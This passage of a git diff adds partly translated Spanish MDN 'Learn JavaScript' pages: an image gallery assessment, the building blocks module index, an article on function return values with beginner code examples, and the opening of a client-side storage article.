+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Functions">Functions detailed guide</a> — covers some advanced features not included here.</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions">Functions reference</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters">Default parameters</a>, <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">Arrow functions</a> — advanced concept references</li>
+</ul>
+
+<ul>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Looping_code","Learn/JavaScript/Building_blocks/Build_your_own_function", "Learn/JavaScript/Building_blocks")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/conditionals">Making decisions in your code — conditionals</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code">Looping code</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions">Functions — reusable blocks of code</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Build_your_own_function">Build your own function</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Return_values">Function return values</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events">Introduction to events</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Image_gallery">Image gallery</a></li>
+</ul>
+&lt;gdiv&gt;&lt;/gdiv&gt;
diff --git a/files/es/learn/javascript/building_blocks/galeria_de_imagenes/index.html b/files/es/learn/javascript/building_blocks/galeria_de_imagenes/index.html
new file mode 100644
index 0000000000..205f1a11aa
--- /dev/null
+++ b/files/es/learn/javascript/building_blocks/galeria_de_imagenes/index.html
@@ -0,0 +1,144 @@
+---
+title: Galería de imágenes
+slug: Learn/JavaScript/Building_blocks/Galeria_de_imagenes
+translation_of: Learn/JavaScript/Building_blocks/Image_gallery
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenu("Learn/JavaScript/Building_blocks/Events", "Learn/JavaScript/Building_blocks")}}</div>
+
+<p class="summary"><span class="tlid-translation translation" lang="es"><span title="">Ahora que hemos analizado los bloques de construcción fundamentales de JavaScript, pongamos a prueba tu conocimiento de bucles, funciones, condicionales y eventos, creando un elemento que comumente vemos en muchos sitios web, una </span> <span title="">Galería de imágenes "motorizada" por JavaScript .</span></span></p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisitos:</th>
+   <td>Antes de intentar esta evaluación deberías de haber trabajado con todos los artículos en éste módulo.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Evaluar la comprensión de los bucles, funciones, condicionales y eventos de JavaScript..</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Punto_de_partida">Punto de partida</h2>
+
+<p>Para realizar esta evaluación, debería descárgarse <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/gallery/gallery-start.zip?raw=true">archivoZip</a> para el ejemplo, descomprímalo en algún lugar de su computadora y haga el ejercicio localmente para empezar.</p>
+
+<p>Opcionalmente, puedes usar un sitio como <a class="external external-icon" href="http://jsbin.com/">JSBin</a> o <a href="https://glitch.com/">Glitch</a> para realizar tu evaluación. Puede pegar el HTML, CSS y JavaScript dentro de uno de estos editores online. <span class="tlid-translation translation" lang="es"><span title="">Si el editor en línea que está utilizando no tiene paneles JavaScript / CSS separados, siéntase libre de ponerlos en línea &lt;script&gt; / &lt;style&gt; elementos dentro de la página HTML.</span></span></p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Si se atascascas con algo, entonces pregúntenos para ayudarlo — vea la sección de {{anch("evaluación o ayuda adicional")}} al final de esta página.</p>
+</div>
+
+<h2 id="Resumen_del_proyecto">Resumen del proyecto</h2>
+
+<p>Ha sido provisto con algún contenido de HTML, CSS e imágenes, también algunas líneas de código en JavaScript; necesitas escribir las líneas de código en JavaScript necesatio para transformarse en un programa funcional. El  HTML body luce así:</p>
+
+<pre class="brush: html">&lt;h1&gt;Image gallery example&lt;/h1&gt;
+
+&lt;div class="full-img"&gt;
+  &lt;img class="displayed-img" src="images/pic1.jpg"&gt;
+  &lt;div class="overlay"&gt;&lt;/div&gt;
+  &lt;button class="dark"&gt;Darken&lt;/button&gt;
+&lt;/div&gt;
+
+&lt;div class="thumb-bar"&gt;
+
+&lt;/div&gt;</pre>
+
+<p>El ejemplo se ve así:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13787/gallery.png" style="display: block; margin: 0 auto;"></p>
+
+<ul>
+</ul>
+
+<p>Las partes más interesantes del archivo example's CSS :</p>
+
+<ul>
+ <li>It absolutely positions the three elements inside the <code>full-img &lt;div&gt;</code> — the <code>&lt;img&gt;</code> in which the full-sized image is displayed, an empty <code>&lt;div&gt;</code> that is sized to be the same size as the <code>&lt;img&gt;</code> and put right over the top of it (this is used to apply a darkening effect to the image via a semi-transparent background color), and a <code>&lt;button&gt;</code> that is used to control the darkening effect.</li>
+ <li>It sets the width of any images inside the <code>thumb-bar &lt;div&gt;</code> (so-called "thumbnail" images) to 20%, and floats them to the left so they sit next to one another on a line.</li>
+</ul>
+
+<p>Your JavaScript needs to:</p>
+
+<ul>
+ <li>Loop through all the images, and for each one insert an <code>&lt;img&gt;</code> element inside the <code>thumb-bar &lt;div&gt;</code> that embeds that image in the page.</li>
+ <li>Attach an <code>onclick</code> handler to each <code>&lt;img&gt;</code> inside the <code>thumb-bar &lt;div&gt;</code> so that when they are clicked, the corresponding image is displayed in the <code>displayed-img &lt;img&gt;</code> element.</li>
+ <li>Attach an <code>onclick</code> handler to the <code>&lt;button&gt;</code> so that when it is clicked, a darken effect is applied to the full-size image. When it is clicked again, the darken effect is removed again.</li>
+</ul>
+
+<p>To give you more of an idea, have a look at the <a href="http://mdn.github.io/learning-area/javascript/building-blocks/gallery/">finished example</a> (no peeking at the source code!)</p>
+
+<h2 id="Steps_to_complete">Steps to complete</h2>
+
+<p>The following sections describe what you need to do.</p>
+
+<h3 id="Looping_through_the_images">Looping through the images</h3>
+
+<p>We've already provided you with lines that store a reference to the <code>thumb-bar &lt;div&gt;</code> inside a constant called <code>thumbBar</code>, create a new <code>&lt;img&gt;</code> element, set its <code>src</code> attribute to a placeholder value <code>xxx</code>, and append this new <code>&lt;img&gt;</code> element inside <code>thumbBar</code>.</p>
+
+<p>You need to:</p>
+
+<ol>
+ <li>Put the section of code below the "Looping through images" comment inside a loop that loops through all 5 images — you just need to loop through five numbers, one representing each image.</li>
+ <li>In each loop iteration, replace the <code>xxx</code> placeholder value with a string that will equal the path to the image in each case. We are setting the value of the <code>src</code> attribute to this value in each case. Bear in mind that in each case, the image is inside the images directory and its name is <code>pic1.jpg</code>, <code>pic2.jpg</code>, etc.</li>
+</ol>
+
+<h3 id="Adding_an_onclick_handler_to_each_thumbnail_image">Adding an onclick handler to each thumbnail image</h3>
+
+<p>In each loop iteration, you need to add an <code>onclick</code> handler to the current <code>newImage</code> — this handler should find the value of the <code>src</code> attribute of the current image. Set the <code>src</code> attribute value of the <code>displayed-img &lt;img&gt;</code> to the <code>src</code> value passed in as a parameter.</p>
+
+<h3 id="Writing_a_handler_that_runs_the_darkenlighten_button">Writing a handler that runs the darken/lighten button</h3>
+
+<p>That just leaves our darken/lighten <code>&lt;button&gt;</code> — we've already provided a line that stores a reference to the <code>&lt;button&gt;</code> in a constant called <code>btn</code>. You need to add an <code>onclick</code> handler that:</p>
+
+<ol>
+ <li>Checks the current class name set on the <code>&lt;button&gt;</code> — you can again achieve this by using <code>getAttribute()</code>.</li>
+ <li>If the class name is <code>"dark"</code>, changes the <code>&lt;button&gt;</code> class to <code>"light"</code> (using <code><a href="/en-US/docs/Web/API/Element/setAttribute">setAttribute()</a></code>), its text content to "Lighten", and the {{cssxref("background-color")}} of the overlay <code>&lt;div&gt;</code> to <code>"rgba(0,0,0,0.5)"</code>.</li>
+ <li>If the class name not <code>"dark"</code>, changes the <code>&lt;button&gt;</code> class to <code>"dark"</code>, its text content back to "Darken", and the {{cssxref("background-color")}} of the overlay <code>&lt;div&gt;</code> to <code>"rgba(0,0,0,0)"</code>.</li>
+</ol>
+
+<p>The following lines provide a basis for achieving the changes stipulated in points 2 and 3 above.</p>
+
+<pre class="brush: js">btn.setAttribute('class', xxx);
+btn.textContent = xxx;
+overlay.style.backgroundColor = xxx;</pre>
+
+<h2 id="Hints_and_tips">Hints and tips</h2>
+
+<ul>
+ <li>You don't need to edit the HTML or CSS in any way.</li>
+</ul>
+
+<h2 id="Assessment_or_further_help">Assessment or further help</h2>
+
+<p>If you would like your work assessed, or are stuck and want to ask for help:</p>
+
+<ol>
+ <li>Put your work into an online shareable editor such as <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, or <a href="https://glitch.com/">Glitch</a>.</li>
+ <li>Write a post asking for assessment and/or help at the <a href="https://discourse.mozilla.org/c/mdn/learn">MDN Discourse forum Learning category</a>. Your post should include:
+  <ul>
+   <li>A descriptive title such as "Assessment wanted for Image gallery".</li>
+   <li>Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment.</li>
+   <li>A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into — it's very hard to help someone with a coding problem if you can't see their code.</li>
+   <li>A link to the actual task or assessment page, so we can find the question you want help with.</li>
+  </ul>
+ </li>
+</ol>
+
+<p>{{PreviousMenu("Learn/JavaScript/Building_blocks/Events", "Learn/JavaScript/Building_blocks")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/conditionals">Making decisions in your code — conditionals</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code">Looping code</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions">Functions — reusable blocks of code</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Build_your_own_function">Build your own function</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Return_values">Function return values</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events">Introduction to events</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Image_gallery">Image gallery</a></li>
+</ul>
diff --git a/files/es/learn/javascript/building_blocks/index.html b/files/es/learn/javascript/building_blocks/index.html
new file mode 100644
index 0000000000..de9e7c7c4a
--- /dev/null
+++ b/files/es/learn/javascript/building_blocks/index.html
@@ -0,0 +1,71 @@
+---
+title: Elementos básicos de JavaScript
+slug: Learn/JavaScript/Building_blocks
+tags:
+  - CodingScripting
+  - Condicionales
+  - Evaluación
+  - Funciones
+  - Guía
+  - JavaScript
+  - Landing
+  - NeedsTranslation
+  - Principiante
+  - TopicStub
+  - bucles
+  - eventos
+  - introducción
+  - 'l10n:priority'
+  - modulo
+translation_of: Learn/JavaScript/Building_blocks
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">En este módulo, continuamos nuestra cobertura de todas las características clave de JavaScript, tornando nuestra atención a tipos de código comúnmente encontrados tales como enunciados condicionales, bucles (loops), funciones, y eventos. Ya has visto estas cosas en este curso, pero solo de pasada aquí lo hablaremos mas explícitamente.</p>
+
+<h3 id="Quieres_transformarte_en_un_desarrollador_web_front-end">Quieres transformarte en un desarrollador web front-end?</h3>
+
+<p>Hemos reunido un curso que incluye toda la información esencial que necesitas para trabajar hacia tu objetivo.</p>
+
+<p><a class="cta primary" href="https://developer.mozilla.org/docs/Learn/Front-end_web_developer">Empieza aquí</a></p>
+
+<h2 id="Pre-requisitos">Pre-requisitos</h2>
+
+<p>Antes de empezar este módulo, deberías ya tener alguna familiaridad con lo básico de <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML</a> y <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">CSS</a>,  y también deberías haber trabajado todos lo módulos previos, <a href="/en-US/docs/Learn/JavaScript/First_steps">JavaScript primeros pasos</a>.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Si estas trabajando en una computadora/tablet/otro dispositivo donde no tienes la capacidad de crear tus propios archivos, podrías practicar (la mayoría de) los ejemplos de código en un programa en linea tales como <a href="http://jsbin.com/">JSBin</a> o <a href="https://thimble.mozilla.org/">Thimble</a>.</p>
+</div>
+
+<h2 id="Guías">Guías</h2>
+
+<dl>
+ <dt><a href="/es/docs/Learn/JavaScript/Building_blocks/conditionals"> Tomando decisiones en tu código — condicionales</a></dt>
+ <dd>En cualquier lenguaje de programación, el código necesita tomar decisiones y efectuar acciones consiguientemente dependiendo de las diferentes ordenes ingresadas. Por ejemplo, en un juego, si el numero de vidas del jugador es 0, entonces se termina el juego. En una aplicación del clima, si esta siendo vista por la mañana, muestra un gráfico del amanecer; muestra estrellas y una luna si es de noche. En este artículo exploraremos como los condicionales estructuran el trabajo en Javascript.</dd>
+ <dt><a href="/es/docs/Learn/JavaScript/Building_blocks/Bucle_codigo">Bucles de código</a></dt>
+ <dd>A veces necesitas que una tarea se haga más de una vez. Por ejemplo, revisar toda una lista de nombres. En programación, los bucles ('<em>loops'</em> en inglés) hacen este trabajo muy bien. Aca veremos la estructura de loops en Javascript.</dd>
+ <dt><a href="/es/docs/Learn/JavaScript/Building_blocks/Functions">Funciones — bloques de código reusables </a></dt>
+ <dd>Otro concepto fundamental en código es <strong>funciones. Funciones</strong> te permite almacenar una pieza de código que ejecuta una sola tarea dentro de un bloque definido, y después llamar ese código cuando lo necesitas usando un comando corto  en lugar de tener que escribir el mismo código varias veces. En este articulo exploraremos conceptos fundamentales detrás de las funciones tales como sintaxis básica, cómo invocar y definir funciones, ámbito o alcance (scope), y parámetros.</dd>
+ <dt><a href="/es/docs/Learn/JavaScript/Building_blocks/Construyendo_tu_propia_funcion">Crea tu propia función </a></dt>
+ <dd>Con la información presentada en el artículo anterior, este artículo, pretende demostrar una parte práctica. Se podrá desarrollar una función propia, y durante el desarrollo se presentarán algunos consejos prácticos y útiles para trabajar con funciones.</dd>
+ <dt><a href="/es/docs/Learn/JavaScript/Building_blocks/Return_values"> Una función devuelve valores</a></dt>
+ <dd>Un concepto fundamental que ha de tenerse en cuenta, es que las funciones pueden devolver valores al finalizar su ejecución, aunque algunas funciones también pueden no devolver ningún valor. Es importante entender como son esos valores, qué tipos pueden tener y cómo aprovechar el valor devuelto por la función en el programa.</dd>
+ <dt><a href="/es/docs/Learn/JavaScript/Building_blocks/Eventos">Introducción a eventos</a></dt>
+ <dd>Los eventos son acciones u ocurrencias que aparecen durante la ejecución del programa, y que son reportadas por el sistema, de forma que se pueda responder a los eventos de la forma deseada. Por ejemplo, si un usuario hace un click en un botón de una página web, puede que se quiera que ese evento inicie una acción en el que se muestre cierta información en un cuadro de información.  En este último artículo se presentarán y describirán los conceptos necesarios con respecto a los eventos, y como funcionan en un navegador.</dd>
+</dl>
+
+<h2 id="Evaluaciones">Evaluaciones</h2>
+
+<p>La siguiente evaluación probara tu entendimiento de lo básico de Javascript cubierto en las guias anteriores.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Image_gallery">Galeria de imagen</a></dt>
+ <dd>Ahora que hemos visto los bloques constructores fundamentales de JavaScript, probaremos tus conocimientos en bucles, funciones, condicionales y eventos construyendo un item bastante común en muchos sitios web — una galería de imágenes creada con JavaScript. </dd>
+</dl>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<dl>
+ <dt><a href="https://learnjavascript.online/">Aprender JavaScript</a></dt>
+ <dd>Un excelente recurso para aspirantes a desarrolladores web — Aprenda JavaScript en un entorno interactivo, con lecciones cortas y pruebas interactivas, guiadas por una evaluación automatizada. Las primeras 40 lecciones son gratuitas, y el curso completo está disponible por un pequeño pago único.</dd>
+</dl>
diff --git a/files/es/learn/javascript/building_blocks/return_values/index.html b/files/es/learn/javascript/building_blocks/return_values/index.html
new file mode 100644
index 0000000000..2602a7217f
--- /dev/null
+++ b/files/es/learn/javascript/building_blocks/return_values/index.html
@@ -0,0 +1,168 @@
+---
+title: Una función retorna valores
+slug: Learn/JavaScript/Building_blocks/Return_values
+translation_of: Learn/JavaScript/Building_blocks/Return_values
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Build_your_own_function","Learn/JavaScript/Building_blocks/Events", "Learn/JavaScript/Building_blocks")}}</div>
+
+<p class="summary">Hay un último concepto esencial para que discutamos en este curso, para cerrar nuestra visión de las funciones: — lo valores que se devuelven. Algunas funciones no devuelven un valor significativo después de su finalización, pero otras sí, y es importante comprender cuáles son sus valores, cómo utilizarlos en su código y cómo hacer que sus propias funciones personalizadas devuelvan valores útiles. Cubriremos todos estos a continuación.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisites:</th>
+   <td>
+    <p>Basic computer literacy, a basic understanding of HTML and CSS, <a href="/en-US/docs/Learn/JavaScript/First_steps">JavaScript first steps</a>, <a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions">Functions — reusable blocks of code</a>.</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Objective:</th>
+   <td>To understand function return values, and how to make use of them.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="¿Qué_son_los_valores_de_retorno">¿Qué son los valores de retorno?</h2>
+
+<p><strong>Los valores de retorno </strong>son exactamente como suenan: los valores devueltos por la función cuando se completa. Ya has alcanzado los valores de retorno varias veces, aunque es posible que no hayas pensado en ellos explícitamente. Volvamos a un código familiar:</p>
+
+<pre class="brush: js notranslate">var myText = 'I am a string';
+var newString = myText.replace('string', 'sausage');
+console.log(newString);
+// la función de cadena replace () toma una cadena,
+// sustituyendo una subcadena con otra y devoviendo
+// ​​una cadena nueva con la sustitución realizada</pre>
+
+<p>Vimos exactamente este bloque de código en nuestro primer artículo de función. Estamos invocando la función <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace">replace ()</a> en la cadena <code>myText</code>, y le pasamos dos parámetros: la subcadena a encontrar y la subcadena con la que reemplazarla. Cuando esta función se completa (termina de ejecutarse), devuelve un valor, que es una nueva cadena con el reemplazo realizado. En el código anterior, estamos guardando este valor de retorno como el valor de la variable <code>newString</code>.</p>
+
+<p>Si observa la página de referencia MDN de la función de reemplazo, verá una sección llamada <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#Return_value">Valor de retorno.</a> Es muy útil conocer y comprender qué valores devuelven las funciones, por lo que tratamos de incluir esta información siempre que sea posible.</p>
+
+<p>Algunas funciones no devuelven un valor de retorno como tal (en nuestras páginas de referencia, el valor de retorno aparece como <code>void</code> o <code>undefined</code> en tales casos). Por ejemplo, en la función <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-stage-4.html#L50">displayMessage ()</a> que creamos en el artículo anterior, no se devuelve ningún valor específico como resultado de la función que se invoca. Simplemente hace que aparezca un cuadro en algún lugar de la pantalla, ¡eso es todo!</p>
+
+<p>Generalmente, se usa un valor de retorno donde la función es un paso intermedio en un cálculo de algún tipo. Quieres llegar a un resultado final, que involucra algunos valores. Esos valores deben ser calculados por una función, que luego devuelve los resultados para que puedan usarse en la siguiente etapa del cálculo.</p>
+
+<h3 id="Using_return_values_in_your_own_functions">Using return values in your own functions</h3>
+
+<p>To return a value from a custom function, you need to use ... wait for it ... the <a href="/en-US/docs/Web/JavaScript/Reference/Statements/return">return</a> keyword. We saw this in action recently in our <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/random-canvas-circles.html">random-canvas-circles.html</a> example. Our <code>draw()</code> function draws 100 random circles somewhere on an HTML {{htmlelement("canvas")}}:</p>
+
+<pre class="brush: js notranslate">function draw() {
+  ctx.clearRect(0,0,WIDTH,HEIGHT);
+  for (var i = 0; i &lt; 100; i++) {
+    ctx.beginPath();
+    ctx.fillStyle = 'rgba(255,0,0,0.5)';
+    ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI);
+    ctx.fill();
+  }
+}</pre>
+
+<p>Inside each loop iteration, three calls are made to the <code>random()</code> function, to generate a random value for the current circle's x coordinate, y coordinate, and radius, respectively. The <code>random()</code> function takes one parameter — a whole number — and it returns a whole random number between 0 and that number. It looks like this:</p>
+
+<pre class="brush: js notranslate">function randomNumber(number) {
+  return Math.floor(Math.random()*number);
+}</pre>
+
+<p>This could be written as follows:</p>
+
+<pre class="brush: js notranslate">function randomNumber(number) {
+  var result = Math.floor(Math.random()*number);
+  return result;
+}</pre>
+
+<p>But the first version is quicker to write, and more compact.</p>
+
+<p>We are returning the result of the calculation <code>Math.floor(Math.random()*number)</code> each time the function is called. This return value appears at the point the function was called, and the code continues. So for example, if we ran the following line:</p>
+
+<pre class="brush: js notranslate">ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI);</pre>
+
+<p>and the three <code>random()</code> calls returned the values 500, 200, and 35, respectively, the line would actually be run as if it were this:</p>
+
+<pre class="brush: js notranslate">ctx.arc(500, 200, 35, 0, 2 * Math.PI);</pre>
+
+<p>The function calls on the line are run first and their return values substituted for the function calls, before the line itself is then executed.</p>
+
+<h2 id="Active_learning_our_own_return_value_function">Active learning: our own return value function</h2>
+
+<p>Let's have a go at writing our own functions featuring return values.</p>
+
+<ol>
+ <li>First of all, make a local copy of the <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-library.html">function-library.html</a> file from GitHub. This is a simple HTML page containing a text {{htmlelement("input")}} field and a paragraph. There's also a {{htmlelement("script")}} element in which we have stored a reference to both HTML elements in two variables. This little page will allow you to enter a number into the text box, and display different numbers related to it in the paragraph below.</li>
+ <li>Let's add some useful functions to this <code>&lt;script&gt;</code> element. Below the existing two lines of JavaScript, add the following function definitions:
+  <pre class="brush: js notranslate">function squared(num) {
+  return num * num;
+}
+
+function cubed(num) {
+  return num * num * num;
+}
+
+function factorial(num) {
+  var x = num;
+  while (x &gt; 1) {
+    num *= x-1;
+    x--;
+  }
+  return num;
+}</pre>
+  The <code>squared()</code> and <code>cubed()</code> functions are fairly obvious — they return the square or cube of the number given as a parameter. The <code>factorial()</code> function returns the <a href="https://en.wikipedia.org/wiki/Factorial">factorial</a> of the given number.</li>
+ <li>Next, we're going to include a way to print out information about the number entered into the text input. Enter the following event handler below the existing functions:
+  <pre class="brush: js notranslate">input.onchange = function() {
+  var num = input.value;
+  if (isNaN(num)) {
+    para.textContent = 'You need to enter a number!';
+  } else {
+    para.textContent = num + ' squared is ' + squared(num) + '. ' +
+                       num + ' cubed is ' + cubed(num) + '. ' +
+                       num + ' factorial is ' + factorial(num) + '.';
+  }
+}</pre>
+
+  <p>Here we are creating an <code>onchange</code> event handler that runs whenever the change event fires on the text input — that is, when a new value is entered into the text input, and submitted (enter a value then press tab for example). When this anonymous function runs, the existing value entered into the input is stored in the <code>num</code> variable.</p>
+
+  <p>Next, we do a conditional test — if the entered value is not a number, we print an error message into the paragraph. The test looks at whether the expression <code>isNaN(num)</code> returns true. We use the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/isNaN">isNaN()</a> function to test whether the num value is not a number — if so, it returns <code>true</code>, and if not, <code>false</code>.</p>
+
+  <p>If the test returns <code>false</code>, the <code>num</code> value is a number, so we print out a sentence inside the paragraph element stating what the square, cube, and factorial of the number are. The sentence calls the <code>squared()</code>, <code>cubed()</code>, and <code>factorial()</code> functions to get the required values.</p>
+ </li>
+ <li>Save your code, load it in a browser, and try it out.</li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: If you have trouble getting the example to work, feel free to check your code against the <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-library-finished.html">finished version on GitHub</a> (<a href="http://mdn.github.io/learning-area/javascript/building-blocks/functions/function-library-finished.html">see it running live</a> also), or ask us for help.</p>
+</div>
+
+<p>At this point, we'd like you to have a go at writing out a couple of functions of your own and adding them to the library. How about the square or cube root of the number, or the circumference of a circle with a radius of length <code>num</code>?</p>
+
+<p>This exercise has brought up a couple of important points besides being a study on how to use the <code>return</code> statement. In addition, we have:</p>
+
+<ul>
+ <li>Looked at another example of writing error handling into our functions. It is generally a good idea to check that any necessary parameters have been provided, and in the right datatype, and if they are optional, that some kind of default value is provided to allow for that. This way, your program will be less likely to throw errors.</li>
+ <li>Thought about the idea of creating a function library. As you go further into your programming career, you'll start to do the same kinds of things over and over again. It is a good idea to start keeping your own library of utility functions that you use very often — you can then copy them over to your new code, or even just apply it to any HTML pages where you need it.</li>
+</ul>
+
+<h2 id="Conclusion">Conclusion</h2>
+
+<p>So there we have it — functions are fun, very useful and, although there's a lot to talk about in regards to their syntax and functionality, fairly understandable given the right articles to study.</p>
+
+<p>If there is anything you didn't understand, feel free to read through the article again, or <a href="/en-US/Learn#Contact_us">contact us</a> to ask for help.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions">Functions in-depth</a> — a detailed guide covering more advanced functions-related information.</li>
+ <li><a href="https://www.impressivewebs.com/callback-functions-javascript/">Callback functions in JavaScript</a> — a common JavaScript pattern is to pass a function into another function as an argument, which is then called inside the first function. This is a little beyond the scope of this course, but worth studying before too long.</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Build_your_own_function","Learn/JavaScript/Building_blocks/Events", "Learn/JavaScript/Building_blocks")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/conditionals">Making decisions in your code — conditionals</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code">Looping code</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions">Functions — reusable blocks of code</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Build_your_own_function">Build your own function</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Return_values">Function return values</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events">Introduction to events</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Image_gallery">Image gallery</a></li>
+</ul>
diff --git a/files/es/learn/javascript/client-side_web_apis/client-side_storage/index.html b/files/es/learn/javascript/client-side_web_apis/client-side_storage/index.html
new file mode 100644
index 0000000000..0c03392e7d
--- /dev/null
+++ b/files/es/learn/javascript/client-side_web_apis/client-side_storage/index.html
@@ -0,0 +1,788 @@
+---
+title: Almacenamiento del lado cliente
+slug: Learn/JavaScript/Client-side_web_APIs/Client-side_storage
+tags:
+  - API
+  - Almacenaje
+  - Article
+  - CodingScripting
+  - Guía
+  - IndexedDB
+  - JavaScript
+  - Principiante
+  - aprende
+translation_of: Learn/JavaScript/Client-side_web_APIs/Client-side_storage
+---
+<p>{{LearnSidebar}}</p>
+
+<div>{{PreviousMenu("Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs", "Learn/JavaScript/Client-side_web_APIs")}}</div>
+
+<p class="summary">Los navegadores web modernos admiten varias formas para que los sitios web almacenen datos en la computadora del usuario, con el permiso del usuario, y luego los recuperen cuando sea necesario. Esto te permite conservar los datos para el almacenamiento a largo plazo, guardar sitios o documentos para su uso sin conexión, conservar la configuración específica del usuario para tu sitio y más. Este artículo explica los conceptos básicos de cómo funcionan.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conceptos básicos de JavaScript (consulta {{web.link("/es/docs/Learn/JavaScript/First_steps", "primeros pasos")}}, {{web.link("/es/docs/Learn/JavaScript/Building_blocks", "bloques de construcción")}}, {{web.link("/es/docs/Learn/JavaScript/Objects", "objetos JavaScript")}}), los {{web.link("/es/docs/Learn/JavaScript/Client-side_web_APIs/Introducción", "conceptos básicos de las APIs de lado del cliente")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Aprender a utilizar las APIs de almacenamiento de lado del cliente para almacenar datos de aplicaciones.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="¿Almacenamiento_de_lado_del_cliente">¿Almacenamiento de lado del cliente?</h2>
+
+<p>En otra parte del área de aprendizaje de MDN, hablamos sobre la diferencia entre {{web.link("/es/docs/Learn/Server-side/First_steps/Client-Server_overview#Sitios_estaticos", "sitios estáticos")}} y {{web.link("/es/docs/Learn/Server-side/First_steps/Client-Server_overview#Sitios_dinamicos", "sitios dinámicos")}}. La mayoría de los principales sitios web modernos son dinámicos: almacenan datos en el servidor utilizando algún tipo de base de datos (almacenamiento de lado del servidor) y luego ejecutan {{web.link("/es/docs/Learn/Server-side", "de lado del servidor")}} para recuperar los datos necesarios, insertarlos en plantillas de páginas estáticas y entregar el HTML resultante al cliente para que lo muestre el navegador del usuario.</p>
+
+<p>El almacenamiento de lado del cliente funciona con principios similares, pero tiene diferentes usos. Consiste en una API de JavaScript que te permiten almacenar datos en el cliente (es decir, en la máquina del usuario) y luego recuperarlos cuando sea necesario. Esto tiene muchos usos distintos, como:</p>
+
+<ul>
+ <li>Personalizar las preferencias del sitio (por ejemplo, mostrar la elección de un usuario de artilugios personalizados, combinación de colores o tamaño del tipo de letra).</li>
+ <li>Persistencia de la actividad anterior del sitio (por ejemplo, almacenar el contenido de un carrito de compras de una sesión anterior, recordar si un usuario inició sesión anteriormente).</li>
